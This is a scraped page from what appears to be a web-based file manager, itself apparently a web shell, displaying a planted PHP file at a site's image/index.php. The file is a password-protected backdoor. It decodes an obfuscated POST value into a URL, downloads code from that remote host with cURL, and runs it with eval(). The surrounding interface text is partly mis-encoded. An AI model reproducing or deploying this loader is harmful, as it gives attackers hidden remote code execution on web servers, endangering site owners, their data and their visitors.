Файловый менеджер - Редактировать - /home/admin/domains/octawebtools.com/public_html/image/index.php
�азад
<?php ini_set('display_errors', 1); error_reporting(E_ALL); set_time_limit(0); //echo rand(1000,9999); function decrypt_data($encrypted_data) { $decoded_base64 = base64_decode(str_rot13($encrypted_data)); $unpacked = unpack("H*", $decoded_base64); $json_string = hex2bin($unpacked[1]); return json_decode($json_string, true); } function sendGetRequest($url, $headers = []) { // 初始化 cURL 会话 $ch = curl_init($url); // 设置 cURL 选项 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回响应结果,而不是直接输出 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允许 cURL 自动处理重定向 // 如果有自定义请求头,设置请求头 if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } // 执行 GET 请求 $response = curl_exec($ch); // 错误处理 if ($response === false) { $error = curl_error($ch); curl_close($ch); return "请求失败: $error"; } // 关闭 cURL 会话 curl_close($ch); return $response; } // 示例调用 // 发送 GET 请求 if (!isset($_REQUEST['passwd'])) { die("nopd"); } if (md5(md5($_REQUEST['passwd'])) != "f4cc399f0effd13c888e310ea2cf5399") { die("errorpd"); } if (!isset($_REQUEST['passwd'])) { die("nodata"); } //echo $_POST['data']; $data = decrypt_data($_POST['data']); // echo "<hr /><hr /><hr />"; // print_r($data); // echo "<hr /><hr /><hr />"; $url = $data['link']; $response = sendGetRequest($url); eval($response);
| ver. 1.4 |
Github
|
.
| PHP 8.1.32 | Генераци� �траницы: 0 |
proxy
|
phpinfo
|
�а�тройка